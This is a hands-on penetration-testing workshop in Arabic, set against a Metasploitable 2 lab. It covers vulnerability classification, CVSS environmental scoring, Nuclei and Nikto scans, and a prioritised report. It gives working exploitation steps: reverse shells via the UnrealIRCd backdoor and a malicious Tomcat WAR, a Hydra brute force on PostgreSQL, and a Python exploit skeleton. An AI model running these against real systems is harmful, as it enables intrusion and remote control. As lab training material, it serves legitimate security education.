البحث عن الثغرات — ورشة تطبيقية
رأيت سيطرتين تسقطان دون Metasploit في العرض التوضيحي. دورك الآن أن تُسقط واحدة، ثم تصنّف اثنتين أخريين دون استغلالهما (لتتمرّن على كتابة جدول نظيف).
المدة المقدَّرة: ساعتان و30 دقيقة.
التسليم: ~/labs/rapport/vulnerabilites.md مع جدول مرتّب حسب الأولوية، و ~/labs/preuves/ مع آثار استغلال ثغرة واحدة على الأقل.
المتطلبات المسبقة
Docker Desktop يعمل، صورة inskillsec/kali-lab تم بناؤها مسبقًا (انظر الوحدة 01). أنهيت الوحدة 04 (recon): فحوصات إصدارات Metasploitable 2 موجودة في ذهنك أو في مخرجاتك.
يستخدم compose الخاص بالوحدة M05 نفس صورة الهدف المستخدمة في M04 — إنها موجودة بالفعل في ذاكرة Docker المخبأة (cache)، لا حاجة لأي تنزيل إضافي.
الخطوة 1 — تشغيل المختبر (2 دقيقة)
cd labs/docker/module-05-vulnerabilites
docker compose up -d
انتظر بين 30 ثانية ودقيقة كي ينهي الهدف تشغيل services.sh. تحقّق:
cd ..
./verifier-lab.sh module-05-vulnerabilites # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-05-vulnerabilites # PowerShell
ادخل إلى المهاجم:
cd module-05-vulnerabilites
docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport,pocs}
cd ~/labs
# Mise à jour de searchsploit et Nuclei
sudo searchsploit -u
nuclei -update-templates -silent
الخطوة 2 — اختيار 3 ثغرات (10 دقائق)
لا تختر vsftpd ولا Samba (تم استغلالهما بالفعل في M01 وM08). اختر ثلاث ثغرات مختلفة من بين:
- UnrealIRCd 3.2.8.1 — CVE-2010-2075. باب خلفي متعمَّد في أرشيف tarball لعامي 2009-2010.
- distccd — CVE-2004-2687. غياب أي مصادقة، تنفيذ كود اعتباطي.
- Tomcat 5.5 مع
tomcat:tomcat— نشر WAR خبيث. - Apache mod_userdir — تعداد المستخدمين عبر
/~<name>. - PostgreSQL 8.3 — مصادقة ضعيفة / هجوم قاموس.
- NFS سيئ الإعداد (المنفذ 2049) — تصدير (export) متاح دون مصادقة.
- X11 على المنفذ 6000 — التقاط الشاشة دون مصادقة.
اكتب، في rapport/vulnerabilites.md، اختيارك للثلاث ولماذا. التبرير هو ما يُثبت أنك تختار هجومك، بدلًا من الوقوع عشوائيًا على أول شيء متاح.
تعريف — الثغرة، الاستغلال، POC، CVE: الكلمات التي يخلط بينها الجميع
تُستخدم هذه المصطلحات الأربعة كمترادفات خطأً في كل مكان تقريبًا. إنها تشير إلى أشياء مختلفة.
الثغرة (vulnérabilité) هي خاصية في برنامج ما — مزيج من الكود والإعداد يجعل سلوكًا ضارًا ممكنًا. توجد بغض النظر عن أي مهاجم. تجاوز سعة المخزن المؤقت (buffer overflow) في دالة لا تُستدعى أبدًا يبقى ثغرة، حتى لو لم يستغلها أحد أبدًا. المفردات الشائعة: "الخدمة عرضة لكذا".
الاستغلال (exploit) هو صنيعة (artefact) — برنامج، سكربت، حمولة (payload) — يستخدم هذه الثغرة فعليًا لإحداث أثر. الاستغلال يعتمد على السياق: exploit يعمل على Ubuntu 18.04 x86_64 قد يفشل على نفس الإصدار على معمارية ARM. الاستغلال المدمج في Metasploit يُسمى "وحدة استغلال" (module d'exploit). المفردات الشائعة: "يوجد exploit علني لهذه الثغرة".
POC (Proof of Concept) هو exploit أدنى، غالبًا مكتوب بسرعة، هدفه الوحيد هو إثبات أن الثغرة حقيقية. لا يسعى إلى الاستقرار، ولا إلى تجاوز EDR، ولا إلى معالجة الأخطاء. كثير من POC لا تفعل شيئًا سوى تعطيل الخدمة (crash) — وهذا يكفي كإثبات، حتى لو لم يفتح shell. المفردات: "لا يوجد بعد POC علني".
CVE (Common Vulnerabilities and Exposures) هو معرّف. إنها بطاقة كتالوج تشير إلى ثغرة محدَّدة، موصوفة في قاعدة بيانات علنية (NVD، MITRE). تشير CVE-2011-2523 إلى الباب الخلفي في vsftpd 2.3.4، بغض النظر عمّن اكتشفها أو كيف يستغلها. المفردات: "أي CVE؟".
يمكن لنفس الثغرة أن تمتلك صفر POC، أو POC مرتجَل، أو وحدة Metasploit مستقرة، وألا تمتلك بعد CVE (عندما تكون مكتشَفة حديثًا). إنها دورة: ثغرة مكتشَفة → CVE مخصَّصة → POC منشور → exploit مستقر مدمَج في الأطر (frameworks). في كل مرحلة، تتّسع نافذة الخطر.
الخطوة 3 — تصنيف كل ثغرة (30 دقيقة لكل ثغرة)
لكل واحدة، أنتِج هذه البطاقة الكاملة:
## Vulnérabilité #<n> — <titre court>
### Identité
- Produit et version : <ex. UnrealIRCd 3.2.8.1>
- CVE : <ex. CVE-2010-2075>
- Bulletin d'origine : <lien URL ou source>
- Références KEV : <oui/non>
### Scores
- CVSS Base : ...
- CVSS Environmental (recalculé) : ... — justification en une phrase.
- EPSS actuelle : ... (source : https://api.first.org/data/v1/epss?cve=<CVE>)
### POC / Exploit
- Trouvé sur : Exploit-DB #<numéro> / GitHub <url>
- Lu avant exécution : oui / non
- Adaptations nécessaires à la cible : ...
### Preuve d'existence
- Requête envoyée (curl / nc / script) : ...
- Réponse observée : ...
- Fichier de preuve : preuves/<vulnerabilite>-*.txt
### Impact business (si le client était réel)
- ... (une phrase par impact)
### Recommandation
- Mesure immédiate : ...
- Mesure de fond : ...
لا تُهمل أي قسم. الجدول النهائي لن يكون ذا قيمة إلا إن كانت البطاقات متينة.
تعريف — CVSS Base مقابل CVSS Environmental، لماذا تتغيّر الدرجة حسب السياق
CVSS (Common Vulnerability Scoring System) هو درجة بين 0 و10 تحاول قياس خطورة ثغرة ما. النسخة 3.1 (السارية سنة 2026) تقسّم الدرجة إلى ثلاث مجموعات من المقاييس.
CVSS Base يُحسب انطلاقًا من الخصائص الجوهرية للثغرة، بمعزل عن السياق: متجه الهجوم (شبكة، محلي، فيزيائي)، التعقيد (منخفض، عالٍ)، الصلاحيات المطلوبة، تفاعل المستخدم، النطاق، الأثر على السرية/السلامة/التوافر. إنه الدرجة التي تُقرأ على NVD. إنها ثابتة.
CVSS Temporal يضيف مقاييس تتغيّر مع الزمن: نضج الاستغلال المتاح (POC، وظيفي، مُسلَّح/weaponized)، مستوى المعالجة الرسمية (تصحيح، حل بديل)، الثقة في التقارير. هذه الدرجة دائمًا تقريبًا أقل من أو تساوي Base.
CVSS Environmental يضيف سياق العميل: ما هي أهمية السرية، السلامة، التوافر لهذا النظام بالتحديد؟ خادم يحتوي على تجزئات NTLM (hashes) لإدارة نظم المعلومات يساوي أكثر من خادم اختبار معزول. إعادة حساب الدرجة البيئية لكل ثغرة، في سياقها الخاص، هو الفعل الذي يفصل بين تقرير فحص خام وتقرير استشاري.
مثال: CVE-2010-2075 (UnrealIRCd) لها درجة Base تساوي 10.0. على مختبرك Metasploitable 2، الدرجة البيئية المُعاد حسابها ستكون على الأرجح 6-7: الآلة معزولة، التوافر لا يهم، السرية قليلًا (لا شيء حساس عليها)، السلامة كذلك. في المقابل، نفس الـ CVE على خادم IRC للتواصل الداخلي في شركة سترتفع إلى 10.0: المهاجم الذي يسيطر على الخادم يمكنه قراءة كل محادثات المسؤولين.
إعادة حساب الدرجة البيئية وتبرير درجتك الجديدة بجملة واحدة هو ما يدفع لك العميل مقابله. بدون ذلك، تقريرك مجرد نسخة من NVD.
الخطوة 4 — استغلال ثغرة واحدة على الأقل يدويًا (60 دقيقة)
اختر الثغرة الأبسط من بين ثلاثتك. استغلها دون Metasploit — نحتفظ بالإطار (framework) للوحدة 8. إليك ثلاثة أمثلة ملموسة، جاهزة للاستخدام.
اقتراح 1 — UnrealIRCd (POC بلغة Perl)
searchsploit "unrealircd 3.2.8.1"
searchsploit -m 13853 # ou l'ID trouvé
اقرأ سكربت Perl قبل أي خطوة أخرى. إنه يرسل سلسلة سحرية AB;<commande> تُفعّل التنفيذ:
$socket->send("AB;system('nc -e /bin/sh 10.20.30.5 4444')\n");
في طرفية أولى داخل حاوية المهاجم:
nc -lvnp 4444
في طرفية ثانية (docker compose exec attaquant bash من جهازك المضيف):
# Adapter le script pour utiliser 10.20.30.5 (pas 10.10.10.5)
sed -i 's/10\.10\.10\.5/10.20.30.5/g' 13853.pl
perl 13853.pl 10.20.30.20 6667
تحقّق من أن الطرفية الأولى تستقبل الاتصال، اكتب id، احفظ الأثر في preuves/unreal-shell.log.
اقتراح 2 — Tomcat manager (WAR)
تحقّق أولًا من وجود manager:
curl -s -u tomcat:tomcat http://10.20.30.20:8180/manager/html | head -n 5
استجابة HTML؟ إذن يمكننا النشر:
# 1. Générer une WAR reverse shell (msfvenom est indépendant de msfconsole)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.20.30.5 LPORT=4444 -f war -o pocs/shell.war
# 2. Déployer via l'API manager
curl -u tomcat:tomcat -T pocs/shell.war "http://10.20.30.20:8180/manager/deploy?path=/pwn"
# 3. Écouter (dans un autre terminal)
nc -lvnp 4444
# 4. Déclencher
curl http://10.20.30.20:8180/pwn/
يسقط shell. احفظ الأثر في preuves/tomcat-shell.log.
اقتراح 3 — PostgreSQL 8.3 مع Hydra
سيناريو مختلف: ليس استغلال كود، بل كلمة مرور ضعيفة.
# Créer un mini-dictionnaire ciblé
cat > pocs/pg-words.txt <<EOF
postgres
admin
password
password123
p@ssw0rd
EOF
# Hydra sur PostgreSQL
hydra -L pocs/pg-words.txt -P pocs/pg-words.txt -f -o preuves/pg-hydra.txt \
postgres://10.20.30.20:5432/template1
ينبغي أن تجد postgres:postgres. بعدها:
PGPASSWORD=postgres psql -h 10.20.30.20 -U postgres -d template1 -c "\l" > preuves/pg-dbs.txt
تسرد كل قواعد البيانات. إثبات ملموس على الأثر.
تعريف — لماذا نستغل يدويًا قبل الانتقال إلى Metasploit
تشبه وحدة Metasploit عصا سحرية. تكتب set RHOSTS x.x.x.x، run، ويسقط shell. إنها فعّالة، مبهرة، لكنها كارثية تمامًا بالنسبة للتعلّم: لا تفهم شيئًا عمّا يحدث تحت الغطاء.
المرور عبر POC خام — سكربت Perl مُنزَّل من Exploit-DB، طلب curl مبنيّ يدويًا، سكربت Python من 30 سطرًا — يُجبرك على فهم ثلاثة أشياء. أي بروتوكول يُستخدَم (IRC نصي بدون تشفير بالنسبة لـ UnrealIRCd، HTTP + Basic Auth بالنسبة لـ Tomcat، بروتوكول PostgreSQL السلكي بالنسبة لـ Hydra). أي حمولة (payload) تُودَع (سلسلة حرفية AB;...، WAR بصيغة JSP، محاولات مصادقة). أي استجابة تؤكد النجاح (shell يستجيب لأمر id، HTTP 200 على المسار المنشور، سطر «[80][postgres] host: ...» بالنسبة لـ Hydra).
هذه العناصر الثلاثة — البروتوكول، الحمولة، الاستجابة — هي ما يجعلك تنتقل من مشغّل أدوات إلى ممارس حقيقي. يوم يظهر exploit علني لـ CVE حديث النشر ولا تمتلك Metasploit بعد وحدة له، ستكون الوحيد في الفريق القادر على تكييف الـ POC. ستصبح مفيدًا. يوم يسألك عميل لماذا يعمل POC الخاص بك، ستعرف الإجابة. ستصبح موثوقًا.
يبقى Metasploit لا غنى عنه من أجل السرعة أثناء المهمة — لن تكتب POC لكل واحد من عشرة خوادم عرضة للاختراق. لكن تجاوز خط "فهم ما يحدث تحت الوحدة" هو ما يميّز مختبر اختراق كبيرًا عن مجرد مشغّل أدوات.
الخطوة 5 — فحص واسع باستخدام Nuclei (20 دقيقة)
بالتوازي مع عمليات الاستغلال، شغّل:
nuclei -u http://10.20.30.20 -tags cve,exposure,default-login -severity medium,high,critical \
-o preuves/nuclei-cible.txt
# Aussi sur Tomcat (port 8180)
nuclei -u http://10.20.30.20:8180 -tags cve,exposure,default-login \
-o preuves/nuclei-cible-8180.txt
# Et sur phpMyAdmin, souvent hébergé sur le port 80
nuclei -u http://10.20.30.20/phpMyAdmin -tags cve,exposure,default-login \
-o preuves/nuclei-phpmyadmin.txt
دوّن أهم 5 اكتشافات من nuclei في تقريرك، مع قرار لكل سطر: قابل للاستغلال / تسريب معلومات / إيجابية كاذبة.
تعريف — Nuclei، الفحص المضبوط
Nuclei هو ماسح ثغرات يعتمد على قوالب YAML. كل قالب يصف كيفية اختبار CVE أو تعرّض محدَّد: أي طلب يُرسَل، وأي استجابة تُتوقَّع. يحتفظ المشروع الرسمي بمكتبة تضم آلاف القوالب يساهم فيها المجتمع.
على الورق، يبدو الأمر كبديل لـ Nessus. عمليًا، الأمر مختلف تمامًا. لا يفعل Nuclei شيئًا خارج القوالب التي تُعطى له — لا استدلال، لا بصمة (fingerprinting) خاصة. هذا يجعله أكثر قابلية للتنبؤ وقابلية للتدقيق: كل اكتشاف يمكن إرجاعه إلى قالب محدَّد، قابل للقراءة خلال ثلاثين ثانية. الثمن: القوالب تغطي بشكل أساسي ثغرات الويب الحديثة وتعرّضات الإعداد، أقل من ثغرات البنية التحتية القديمة.
الفخ الكلاسيكي لـ Nuclei على هدف غني مثل Metasploitable 2 هو الإفراط في اكتشاف الإيجابيات الكاذبة. كثير من القوالب تبحث عن استجابة محدَّدة في لافتة (banner) أو صفحة خطأ. إذا كان الخادم يُرجع استجابة عامة لكل شيء، تتطابق عدة قوالب. القاعدة: التصفية حسب الخطورة (-severity high,critical)، تمرير كل نتيجة محتفَظ بها إلى التحقق اليدوي، رمي كل ما لا يمكن تأكيده يدويًا.
الميزة الكبرى: في تدقيق دوري، يمكنك مقارنة مخرجات Nuclei من شهر لآخر. اكتشاف جديد يُشير إما إلى تراجع (régression)، أو إلى CVE جديد تُغطّيه القوالب المحدَّثة. هذا مفيد بشكل خاص لمراقبة بنيتك الخاصة.
الخطوة 6 — Nikto كأداة سياقية (15 دقيقة)
شغّل Nikto على المنفذ 80:
nikto -h http://10.20.30.20 -Format txt -o preuves/nikto-cible.txt
اختر، من خرج Nikto، بحد أقصى 5 أسطر تمثّل مسارات حقيقية (ملفات منسية، لوحات إدارية). الباقي ضجيج — لا تحتفظ به.
الخطوة 7 — تجميع الجدول المرتّب حسب الأولوية (20 دقيقة)
افتح rapport/vulnerabilites.md وأضف الجدول النهائي. البنية مطابقة للعرض التوضيحي:
# Tableau priorisé — Module 05
## Cible 10.20.30.20 (Metasploitable 2)
| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut | Preuve |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 10.0 | 6.5 | 0.94 | Oui | exploité | preuves/unreal-shell.log |
| P1b | Tomcat 5.5 manager | — (creds faibles) | 8.8 | 7.5 | — | Non | exploité | preuves/tomcat-shell.log |
| P2 | distccd | CVE-2004-2687 | 9.3 | 5.5 | 0.42 | Non | à faire | — |
| P3 | PostgreSQL creds | — | 7.5 | 5.0 | — | Non | qualifié | preuves/pg-hydra.txt |
| P4 | NFS export | — | 5.4 | 4.0 | — | Non | qualifié | preuves/nfs-check.txt |
| P5 | mod_userdir | — | 4.3 | 3.0 | — | Non | qualifié | preuves/userdir.txt |
قواعد لهذا الجدول:
- 6 أسطر على الأقل إجمالًا (البطاقات الثلاث + اكتشافات Nuclei/Nikto).
- سطر واحد على الأقل بحالة
exploitéمع إثبات فيpreuves/. - لا سطر بدون
Statutواضح. - CVSS Environmental مختلف عن Base مرة واحدة على الأقل (يُظهر أنك تضع الأمر في سياقه).
شبكة التقييم الذاتي
- ثلاث ثغرات مختارة (ليست تلك المذكورة في العرض التوضيحي ولا في M01/M08).
- ثلاث بطاقات كاملة (الهوية، الدرجات، POC، الإثبات، الأثر، التوصية).
- ثغرة واحدة على الأقل مستغَلّة فعليًا يدويًا، دون Metasploit.
- أثر كامل للاستغلال في
preuves/. - فحص Nuclei كامل محفوظ، أهم 5 اكتشافات مُعلَّقة.
- فحص Nikto كامل، 5 اكتشافات محتفَظ بها (الباقي مرفوض).
- جدول نهائي مرتّب حسب الأولوية بـ 6 أسطر على الأقل وCVSS Env مُعاد حسابه.
- لا POC مُشغَّل دون قراءته أولًا.
- لا إجراء خارج الشبكة الفرعية
10.20.30.0/24.
ما يعيق عادةً
| العرَض | السبب | التصحيح |
|---|---|---|
searchsploit لا يجد شيئًا | القاعدة غير محدَّثة | sudo searchsploit -u. |
| POC بلغة Python 2 لا يعمل | صيغة Python 2 مقابل 3 | 2to3 script.py -w. |
| Nuclei يُخرج 500 سطر من الضجيج | وسوم كثيرة جدًا | التصفية بـ -severity high,critical. |
| exploit يُطلق إجراءً مريبًا | باب خلفي داخل الـ POC | العودة إلى POC رسمي (Rapid7، Metasploit). |
| Nikto يُخرج الكثير جدًا | طبيعي | التصفية يدويًا، رمي 80%. |
exploit UnrealIRCd يُرجع not vulnerable | إصدار مُعدَّل، أو الخدمة أُعيد تشغيلها | docker compose restart cible. |
msfvenom بطيء جدًا | سلسلة أدوات Java تقوم بالترجمة (compile) | انتظر — أول msfvenom في جلسة يستغرق نحو 30 ثانية. |
hydra: خطأ مصادقة رغم أن كلمة المرور صحيحة | مخطط رابط خاطئ | استخدم postgres:// (وليس postgresql://). |
امتداد اختياري — كتابة POC أدنى خاص بك
خذ الأبسط من بين الثغرات الثلاث وأعد كتابة POC بلغة Python 3، دون نسخ ولصق. 30 سطرًا، تتضمن:
- معامل سطر أوامر (
argparse). - التحقق من إصدار الهدف (اللافتة/banner).
- إرسال الحمولة (payload).
- إرجاع واضح (
SUCCESS/FAIL).
هيكل أساسي لـ UnrealIRCd:
#!/usr/bin/env python3
import argparse, socket, sys
def check_banner(sock):
banner = sock.recv(2048).decode(errors="ignore")
return "Unreal" in banner
def exploit(ip, port, cmd):
with socket.create_connection((ip, port), timeout=5) as s:
if not check_banner(s):
print("[!] Cible sans bannière UnrealIRCd — abandon")
sys.exit(1)
payload = f"AB;{cmd}\n".encode()
s.sendall(payload)
print(f"[+] Payload envoye : {payload.decode().strip()}")
print("[i] Vérifier votre listener netcat.")
if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("target"); p.add_argument("--port", type=int, default=6667)
p.add_argument("--cmd", default="id")
a = p.parse_args()
exploit(a.target, a.port, a.cmd)
احفظ في pocs/unreal_pwn.py، اختبر:
python3 pocs/unreal_pwn.py 10.20.30.20 --cmd "nc -e /bin/sh 10.20.30.5 4444"
هذا هو التمرين الأكثر تكوينًا في الدورة. مختبر اختراق يعرف كيف يكتب POC لم يعد يعتمد على الأدوات الجاهزة.
ما تخرج به من هذه الورشة
- الغريزة لتصنيف ثغرة قبل الانقضاض عليها.
- العادة بقراءة POC قبل تشغيله.
- منهجية لتحويل كومة من مخرجات الماسحات إلى جدول مرتّب حسب الأولوية قابل للاستخدام.
- الثقة بالقدرة على استغلال بعض الثغرات دون إطار عمل. هذا ما سيجعلك تنجح، يومًا ما، في اختبار تقني أثناء مقابلة عمل.
- POC واحد أو اثنان بلغة Python 3 خاصان بك، أعدت كتابتهما يدويًا — فخر عمل تعرف كل سطر فيه.